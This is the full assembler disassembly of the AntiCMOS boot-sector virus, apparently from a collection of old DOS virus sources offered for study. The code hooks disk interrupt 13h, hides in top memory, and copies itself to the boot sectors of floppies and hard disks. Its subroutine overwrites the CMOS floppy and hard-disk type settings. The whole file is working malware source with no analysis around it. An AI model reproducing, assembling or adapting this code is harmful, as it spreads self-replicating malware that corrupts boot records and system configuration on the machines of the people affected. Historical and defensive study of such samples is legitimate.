anticmos.asm

More than 800 virus code (old school) just for fun and studying prehistoric viruses. WARNING: use

PAGE  59,132

;圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹
;圹					                                 圹
;圹				ANTICMOS                                 圹
;圹					                                 圹
;圹      Created:   26-May-95		                                 圹
;圹      Code type: zero start		                                 圹
;圹      Passes:    9          Analysis	Options on: H                    圹
;圹					                                 圹
;圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹

target		EQU   'T3'                      ; Target assembler: TASM-3.1

.386c


; The following equates show data references outside the range of the program.

DATA_1E		EQU	4CH
main_ram_size_	EQU	413H
timer_low_	EQU	46CH
DATA_3E		EQU	500H
DATA_4E		EQU	7C00H			;*
DATA_5E		EQU	7C07H			;*
DATA_6E		EQU	7C09H			;*
DATA_14E	EQU	20BH			;*
DATA_15E	EQU	21EH			;*

SEG_A		SEGMENT	BYTE PUBLIC USE16
		ASSUME	CS:SEG_A, DS:SEG_A


		ORG	0

ANTICMOS	PROC	FAR

START:
;         Simulation segment register change due to reset to default  DS now 8EB6
;         Simulation segment register change due to reset to default  ES now 8EB6
		JMP	SHORT LOC_3
		DB	90H
DATA_7		DB	4DH
		DB	 53H, 44H, 4FH
DATA_8		DW	3553H, 302EH
DATA_9		DB	0
		DB	 02H, 01H, 01H, 00H, 02H,0E0H
		DB	 00H, 40H, 0BH,0F0H, 09H, 00H
DATA_10		DB	12H
		DB	0, 2, 0, 0, 0
LOC_3:
		CLI				; Disable interrupts
		XOR	AX, AX			; Zero register
		MOV	DS, AX
;         Simulation segment register change due to instruction       DS now 0000
		MOV	SS, AX
		MOV	SP, 7C00H
		MOV	SI, SP
		STI				; Enable interrupts
		LES	AX, DWORD PTR DS:DATA_1E	; Load seg:offset ptr
;         Simulation segment register change due to instruction       ES now 0070
		MOV	DS:DATA_5E, AX
		MOV	DS:DATA_6E, ES
		MOV	AX, DS:main_ram_size_
		DEC	AX
		DEC	AX
		MOV	DS:main_ram_size_, AX
		MOV	CL, 6
		SHL	AX, CL			; Shift w/zeros fill
		MOV	ES, AX
;         Simulation segment register change due to instruction       ES now 9F40
		MOV	CX, 200H
		XOR	DI, DI			; Zero register
		CLD				; Clear direction
		REP	MOVSB			; Rep when cx >0 Mov [si] to es:[di]
		MOV	AX, 88H
		PUSH	ES
		PUSH	AX
		RETF
;         Simulation segment register change due to reset to default  DS now 8EB6
;         Simulation segment register change due to reset to default  ES now 8EB6
			                        ;* No entry point to code
		PUSH	DS
		PUSH	AX
		TEST	DL, 0F0H
		JNZ	SHORT LOC_5		; Jump if not zero
		SHR	AH, 1			; Shift w/zeros fill
		DEC	AH
		JNZ	SHORT LOC_5		; Jump if not zero
		XOR	AX, AX			; Zero register
		MOV	DS, AX
;         Simulation segment register change due to instruction       DS now 0000
		MOV	AX, DS:timer_low_
		MOV	AL, AH
		SUB	AL, CS:DATA_7
		CMP	AL, 2
		JB	SHORT LOC_5		; Jump if below
		MOV	CS:DATA_7, AH
		CMP	AX, 2
		JAE	SHORT LOC_4		; Jump if above or =
		CALL	SUB_1
LOC_4:
		CALL	SUB_2
LOC_5:
;         Simulation segment register change due to return from sub   DS now 8EB6
		POP	AX
		POP	DS
		JMP	DWORD PTR CS:DATA_8
LOC_6:
		XOR	AX, AX			; Zero register
		MOV	ES, AX
;         Simulation segment register change due to instruction       ES now 0000
		INT	13H			; Disk  dl=drive a  ah=func 00h
						;  reset disk, al=return status
		PUSH	CS
LOC_7:
		POP	DS
		CMP	DATA_9, 0
		JE	SHORT LOC_8		; Jump if equal
		MOV	SI, OFFSET DATA_13	; (' key when ready')
		ADD	SI, 10H
		CMP	BYTE PTR [SI], 80H
		JNE	LOC_7			; Jump if not equal
		MOV	DX, [SI]
		MOV	CX, [SI+2]
		MOV	BX, DATA_4E
		MOV	AX, 201H
		INT	13H			; Disk  dl=drive ?  ah=func 02h
						;  read sectors to memory es:bx
						;   al=#,ch=cyl,cl=sectr,dh=head
		JC	LOC_6			; Jump if carry Set
		MOV	WORD PTR CS:[148H], 7C0H
		JMP	SHORT LOC_12
		DB	90H
LOC_8:
		MOV	DL, 80H
		CALL	SUB_2
		MOV	DI, OFFSET DATA_10
		MOV	AX, [DI-7]
		MOV	CX, 4
		SHR	AX, CL			; Shift w/zeros fill
		MOV	BP, AX
		MOV	AX, [DI-2]
		SHL	AX, 1			; Shift w/zeros fill
		INC	AX
		ADD	BP, AX
		DIV	BYTE PTR [DI]		; al,ah rem = ax/data
		MOV	CL, AH
		INC	CL
		XOR	DX, DX			; Zero register
		MOV	DH, AL
		MOV	BX, DATA_3E
LOC_9:
		MOV	AX, 201H
		INT	13H			; Disk  dl=drive a  ah=func 02h
						;  read sectors to memory es:bx
						;   al=#,ch=cyl,cl=sectr,dh=head
		JC	LOC_9			; Jump if carry Set
		MOV	AX, BP
		MOV	SI, 34H
		MOV	BH, 7
		DIV	BYTE PTR [DI]		; al,ah rem = ax/data
		XOR	CX, CX			; Zero register
		XCHG	AH, CL
		SUB	SI, CX
		DIV	BYTE PTR [DI+2]		; al,ah rem = ax/data
		MOV	DX, AX
		XCHG	DL, CH
		MOV	AL, [DI]
		SUB	AL, CL
		INC	CL
LOC_10:
		MOV	AH, 2
		PUSH	AX
		INT	13H			; Disk  dl=drive a  ah=func 02h
						;  read sectors to memory es:bx
						;   al=#,ch=cyl,cl=sectr,dh=head
		POP	AX
		JC	LOC_10			; Jump if carry Set
		MOV	CL, 1
		ADD	BH, AL
		ADD	BH, AL
		MOV	AX, [DI]
		INC	DH
		CMP	DH, [DI+2]
		JB	SHORT LOC_11		; Jump if below
		MOV	DH, 0
		INC	CH
LOC_11:
		SUB	SI, AX
		JNC	LOC_10			; Jump if carry=0
		ADD	AX, SI
		MOV	AH, 2
		INT	13H			; Disk  dl=drive a  ah=func 02h
						;  read sectors to memory es:bx
						;   al=#,ch=cyl,cl=sectr,dh=head
		MOV	CH, [DI-3]
		MOV	BX, BP
		MOV	WORD PTR DS:[148H], 70H
LOC_12:
		XOR	AX, AX			; Zero register
		MOV	DATA_9, AL
		MOV	DS, AX
;         Simulation segment register change due to instruction       DS now 0000
		MOV	AL, 52H			; 'R'
		MOV	DS:DATA_1E, AX
		MOV	WORD PTR DS:DATA_1E+2, CS
;*		JMP	FAR PTR LOC_1		;*
		DB	0EAH
		DW	0, 7C0H			;  Fixup - byte match

ANTICMOS	ENDP

;哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌
;                              SUBROUTINE
;苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘

SUB_1		PROC	NEAR
;         Simulation segment register change due to sub entry point   ES now 8EB6
		PUSH	BX
		MOV	AL, 10H
		OUT	70H, AL			; port 70H, CMOS addr,bit7=NMI
						;  al = 10H, floppy drive type
		IN	AL, 71H			; port 71H, CMOS data
		ADD	AL, 20H			; ' '
		AND	AL, 33H			; '3'
		MOV	AH, AL
		MOV	AL, 10H
		OUT	70H, AL			; port 70H, CMOS addr,bit7=NMI
						;  al = 10H, floppy drive type
		MOV	AL, AH
		OUT	71H, AL			; port 71H, CMOS data
		MOV	AL, 12H
		OUT	70H, AL			; port 70H, CMOS addr,bit7=NMI
						;  al = 12H, hard disk type
		MOV	AL, 0
		OUT	71H, AL			; port 71H, CMOS data
		POP	BX
		RETN
SUB_1		ENDP


;哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌
;                              SUBROUTINE
;苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘

SUB_2		PROC	NEAR
		PUSH	BX
		PUSH	CX
		PUSH	DX
		PUSH	ES
		PUSH	SI
		PUSH	DI
		PUSH	CS
		POP	DS
;         Simulation segment register change due to instruction       DS now 8EB6
		PUSH	CS
		POP	ES
		MOV	BX, 200H
		MOV	CX, 1
		XOR	DH, DH			; Zero register
		MOV	AX, 201H
		PUSHF				; Push flags
		CALL	DWORD PTR DATA_8
		JC	SHORT LOC_14		; Jump if carry Set
		MOV	WORD PTR [BX], 1CEBH
		CMP	DL, 80H
		JNE	SHORT LOC_13		; Jump if not equal
		MOV	DS:DATA_14E, DL
LOC_13:
		CLD				; Clear direction
		MOV	CX, 1A0H
		MOV	SI, 1EH
		MOV	DI, DATA_15E
		REP	MOVSB			; Rep when cx >0 Mov [si] to es:[di]
		MOV	AX, 301H
		INC	CX
		PUSHF				; Push flags
		CALL	DWORD PTR DATA_8
LOC_14:
		POP	DI
		POP	SI
		POP	ES
;         Simulation segment register change due to instruction       ES now 0000
		POP	DX
		POP	CX
		POP	BX
		RETN
SUB_2		ENDP

;         Simulation segment register change due to reset to default  ES now 8EB6
DATA_13		DB	' key when ready', 0DH, 0AH, 'Rep'
		DB	'lace and press any key when read'
		DB	'y', 0DH, 0AH, 0
		DB	'IO      SYSMSDOS   SYS'
		DB	 00H, 00H, 55H,0AAH

SEG_A		ENDS



		END	START